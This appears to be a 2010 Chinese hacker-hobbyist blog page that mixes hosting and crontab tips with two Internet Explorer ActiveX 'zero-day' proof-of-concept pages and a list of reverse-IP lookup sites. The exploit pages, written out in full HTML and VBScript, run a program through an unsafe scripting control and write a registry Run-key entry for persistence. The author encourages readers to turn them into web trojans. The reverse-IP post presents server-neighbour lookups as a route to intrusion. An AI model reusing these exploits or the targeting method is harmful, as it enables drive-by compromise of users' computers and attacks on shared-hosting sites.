帮好友Hackest做个广告
30 1月 2010 |
帮好友Hackest做个广告已关闭评论 飞信iphone版今日上线
帮好友Hackest做个广告已关闭评论 Dreamhost空间高级应用
Dreamhost空间高级应用已关闭评论 一直想解决控制PHP.ini的问题，经过一段时间研究发现强大的DH是完全可以自己定义的！
方法如下：
首先用SHELL在你的网站相目录下建立一个cgi-bin的目录，然后执行
cp /dh/cgi-system/php5.cgi 你刚建立的cgi-bin目录
cp /etc/php5/cgi/php.ini 你刚建立的cgi-bin目录
现在回到的你网站根目录，新建一个.htaccess文件
向其中写入如下内容
Options +ExecCGI
AddHandler php5 .php
Action php5 /cgi-bin/php.cgi
现在你可以去改你的php.ini了
Linux crontab 命令格式与详细例子
Linux crontab 命令格式与详细例子已关闭评论 基本格式 :
* * * * * command
分 时 日 月 周 命令
第1列表示分钟1～59 每分钟用*或者 */1表示
第2列表示小时1～23（0表示0点）
第3列表示日期1～31
第4列表示月份1～12
第5列标识号星期0～6（0表示星期天）
第6列要运行的命令
crontab文件的一些例子：
30 21 * * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每晚的21:30重启apache。
45 4 1,10,22 * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每月1、10、22日的4 : 45重启apache。
10 1 * * 6,0 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每周六、周日的1 : 10重启apache。
0,30 18-23 * * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示在每天18 : 00至23 : 00之间每隔30分钟重启apache。
0 23 * * 6 …
又一个IE的最新0DAY（IE浏览器wshom.ocx ActiveX控件远程代码执行）
这段代码在SP3+IE6下测试成功
测试代码：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
<html> <p align="left"><b><font face="Segoe Script" size="7">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></b></p> <p> <object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='target' ></object> <script language='vbscript'> arg1="c:\WINDOWS\system32\calc.exe" target.Exec arg1 </script></p> |
有兴趣的同学可以回去搞一下，弄个网马出来！
传说中的IE最新0DAY（IE的ActiveX远程执行代码2（不安全的方法））
这个代码会写入启动项，各位看官测试的时候注意了，不会当时生效，重启后可见效果！
测试代码：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
</code><strong></strong><html> <object classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B' id='target' ></object> <script language='vbscript'> targetFile = "c:\WINDOWS\system32\wshom.ocx" prototype = "Sub RegWrite ( ByVal Name As String , ByRef Value As Variant , [ ByRef Type As Variant ] )" memberName = "RegWrite" progid = "IWshRuntimeLibrary.IWshShell_Class" argCount = 3 D3V!L FUCKER="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" germaya_x="C:\WINDOWS\system32\calc.exe" his0k4="REG_SZ" target.RegWrite D3V!L FUCKER ,germaya_x ,his0k4 </script> |
IP地址反查，查询同IP绑定站点数量
IP地址反查，查询同IP绑定站点数量已关闭评论 玩黑的朋友都知道旁注。旁注，顾名思义是从旁注入，也就是说同从一台服务器的其它站上下手，来达到我们入侵的目的。但是如何知道同一台服务器挂了多少个网站呢？有一些网站专门提供了这种服务，即通过IP或者域名可以查询出这台服务器中绑定的域名数量。同时通过这种方法，我们在选购虚拟主机空间时可以做相关参考，因为服务器中用户太多就会影响自己网站的网速，甚至会对自己的网站的安全存在威胁。所以你在购买虚拟主机的时候，也不妨先查查其同台服务器中放置网站的个数。
下面列出的这些网站，是我平时用的比较多的IP地址反查网站。
①、http://www.ip866.com 杭州安恒信息旗下网站，查询速度快，结果比较全。这也是我最常用的一个查询站。
②、http://www.114best.com/ip/ 中文站点，速度不错，似乎查询的结果不是很全（个人观点）。
③、http://www.webhosting.info 国外的一个专业站点，IP反查只是其网站一项功能，其它功能大家就自己到网站去查看。查询一般格式如：http://whois.webhosting.info/后加IP。明小子的“旁注入侵专用程序”就是使用这个站点的查询结果。
④、http://www.myip.cn 中文站点，速度不错，结果较全。
⑤、http://domainbyip.com/ 英文站点，速度还不错，查询结果比较全。
⑤、http://ip.wen.la/ 中文站点，速度不错。
如果大家还有比较好的IP地址反查网站，不妨帮忙更新。^_^